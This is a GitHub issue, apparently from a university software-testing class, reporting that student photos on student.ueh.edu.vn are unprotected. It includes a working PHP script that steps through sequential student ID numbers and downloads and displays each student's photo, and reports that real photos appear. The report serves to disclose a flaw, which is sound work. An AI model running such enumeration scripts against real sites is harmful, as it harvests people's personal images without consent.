UEHMonQAQC / ST_K45_01

ST_K45_01 - UEH - BIT
0 stars 0 forks source link

[Nhóm#2] Lỗi phi chức năng - Không bảo mật hình ảnh - https://student.ueh.edu.vn #71

Open 31191024352 opened 3 years ago

31191024352 commented 3 years ago

Web Browser: Microsoft Edge Các bước để phát hiện lỗi:

1: Mở Visual studio code, vào extension Install " Live server; PHP debug; PHP Intelephense"

2: Tạo file " Test.php"

3: Dán đoạn code sau ( code nhóm tự viết _ Cop từ phần bôi đen <?php đến ?>) :

`<?php for($i = 100; $i <= 9999; $i++){ if($i<=999){ $image = 'https://student.ueh.edu.vn/HinhSV/31191020'.$i.'.jpg'; } else{ $image = 'https://student.ueh.edu.vn/HinhSV/3119102'.$i.'.jpg'; } $imageData = base64_encode(file_get_contents($image)); echo ''; }

?>`

4: Chuột phải, chọn " PHP server: Serve Project"

... Kết quả thực tế Hình ảnh của sinh viên xuất hiện trên màn hình. image

Kết quả mong đợi Kiểm tra lại phần bảo mật hình ảnh Link đến trang Error_404!

31191020041 commented 3 years ago

nhóm mô tả bước phát hiện lỗi cụ thể hơn nha, cụ thể là cách lấy đoạn code trên như thế nào

31191024352 commented 3 years ago

nhóm mô tả bước phát hiện lỗi cụ thể hơn nha, cụ thể là cách lấy đoạn code trên như thế nào